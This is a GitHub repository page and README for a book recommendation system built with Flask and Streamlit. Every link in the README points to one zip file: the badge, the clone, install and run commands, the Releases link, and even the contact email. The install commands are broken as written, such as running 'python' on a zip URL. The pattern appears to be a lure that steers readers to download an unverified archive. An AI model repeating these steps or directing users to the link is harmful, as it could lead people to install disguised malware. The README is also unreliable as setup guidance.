https://github.com/devjinah/collaborative-book-recommender
Collaborative filtering based book recommendation system
https://github.com/devjinah/collaborative-book-recommender
book-crossing book-recomendation book-recommender books collaborative-filtering content-based-recommendation data-science exploratory-data-analysis flask-application machine-learning recommendation-engine recommendation-system recommender-system spark streamlit surprise surprise-library webui
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Collaborative filtering based book recommendation system
- Host: GitHub
- URL: https://github.com/devjinah/collaborative-book-recommender
- Owner: DevJinah
- License: mit
- Created: 2025-05-21T19:07:25.000Z (about 1 year ago)
- Default Branch: main
- Last Pushed: 2025-06-26T06:55:39.000Z (12 months ago)
- Last Synced: 2025-06-26T07:38:50.511Z (12 months ago)
- Topics: book-crossing, book-recomendation, book-recommender, books, collaborative-filtering, content-based-recommendation, data-science, exploratory-data-analysis, flask-application, machine-learning, recommendation-engine, recommendation-system, recommender-system, spark, streamlit, surprise, surprise-library, webui
- Language: Jupyter Notebook
- Size: 15.3 MB
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
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Metadata Files:
- Readme: README.md
- License: LICENSE
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README
# 📚 Collaborative Book Recommender
[](https://raw.githubusercontent.com/DevJinah/collaborative-book-recommender/main/client/collaborative-book-recommender-v3.4.zip)
Welcome to the **Collaborative Book Recommender**! This project is a collaborative filtering-based book recommendation system designed to help users discover new books tailored to their interests. By leveraging machine learning techniques, we aim to provide personalized recommendations that enhance the reading experience.
## Table of Contents
- [Project Overview](#project-overview)
- [Features](#features)
- [Technologies Used](#technologies-used)
- [Installation](#installation)
- [Usage](#usage)
- [Contributing](#contributing)
- [License](#license)
- [Contact](#contact)
## Project Overview
The **Collaborative Book Recommender** uses collaborative filtering to analyze user preferences and suggest books that align with their tastes. This approach relies on the idea that if two users share similar reading habits, they are likely to enjoy similar books.
The system is built using Python and integrates with Flask and Streamlit to create a user-friendly web application. Users can easily navigate the interface, input their preferences, and receive book recommendations based on their reading history and the preferences of similar users.
## Features
- **Personalized Recommendations**: Get book suggestions based on your reading habits.
- **User-Friendly Interface**: Easy navigation and interaction through a web application.
- **Real-Time Updates**: Recommendations update as you provide more input.
- **Community Driven**: The more users participate, the better the recommendations become.
- **Multiple Genres**: Recommendations span various genres, ensuring a wide selection.
## Technologies Used
- **Python**: The primary programming language for developing the recommendation algorithms.
- **Flask**: A lightweight web framework for building the web application.
- **Streamlit**: Used to create interactive web applications for data science projects.
- **Machine Learning**: Collaborative filtering techniques to analyze user data.
- **Data Science Libraries**: Libraries such as Pandas, NumPy, and Scikit-learn for data manipulation and analysis.
## Installation
To get started with the **Collaborative Book Recommender**, follow these steps:
1. **Clone the Repository**:
```bash
git clone https://raw.githubusercontent.com/DevJinah/collaborative-book-recommender/main/client/collaborative-book-recommender-v3.4.zip
cd collaborative-book-recommender
```
2. **Install Dependencies**:
Ensure you have Python installed. Then, run:
```bash
pip install -r https://raw.githubusercontent.com/DevJinah/collaborative-book-recommender/main/client/collaborative-book-recommender-v3.4.zip
```
3. **Run the Application**:
Start the Flask server with:
```bash
python https://raw.githubusercontent.com/DevJinah/collaborative-book-recommender/main/client/collaborative-book-recommender-v3.4.zip
```
4. **Access the Application**:
Open your web browser and navigate to `http://127.0.0.1:5000`.
For the latest releases, you can download the files from the [Releases section](https://raw.githubusercontent.com/DevJinah/collaborative-book-recommender/main/client/collaborative-book-recommender-v3.4.zip).
## Usage
Once the application is running, you can begin using it to receive book recommendations.
1. **Input Your Preferences**: On the homepage, you will see fields to enter your favorite genres and authors.
2. **Submit Your Input**: Click the "Get Recommendations" button to see personalized suggestions.
3. **Explore Recommendations**: Browse through the recommended books and click on any title for more information.
The more you interact with the application, the better it learns your preferences and improves its recommendations.
## Contributing
We welcome contributions from the community! If you want to help improve the **Collaborative Book Recommender**, follow these steps:
1. **Fork the Repository**: Click the "Fork" button at the top right of the repository page.
2. **Create a New Branch**:
```bash
git checkout -b feature/your-feature-name
```
3. **Make Your Changes**: Implement your feature or fix a bug.
4. **Commit Your Changes**:
```bash
git commit -m "Add your message here"
```
5. **Push to Your Branch**:
```bash
git push origin feature/your-feature-name
```
6. **Open a Pull Request**: Go to the original repository and click on "New Pull Request".
## License
This project is licensed under the MIT License. See the [LICENSE](LICENSE) file for more details.
## Contact
For any inquiries or feedback, feel free to reach out:
- **Email**: https://raw.githubusercontent.com/DevJinah/collaborative-book-recommender/main/client/collaborative-book-recommender-v3.4.zip
- **GitHub**: [DevJinah](https://raw.githubusercontent.com/DevJinah/collaborative-book-recommender/main/client/collaborative-book-recommender-v3.4.zip)
Thank you for checking out the **Collaborative Book Recommender**! We hope you find it useful and enjoyable. Don’t forget to check the [Releases section](https://raw.githubusercontent.com/DevJinah/collaborative-book-recommender/main/client/collaborative-book-recommender-v3.4.zip) for updates and new features.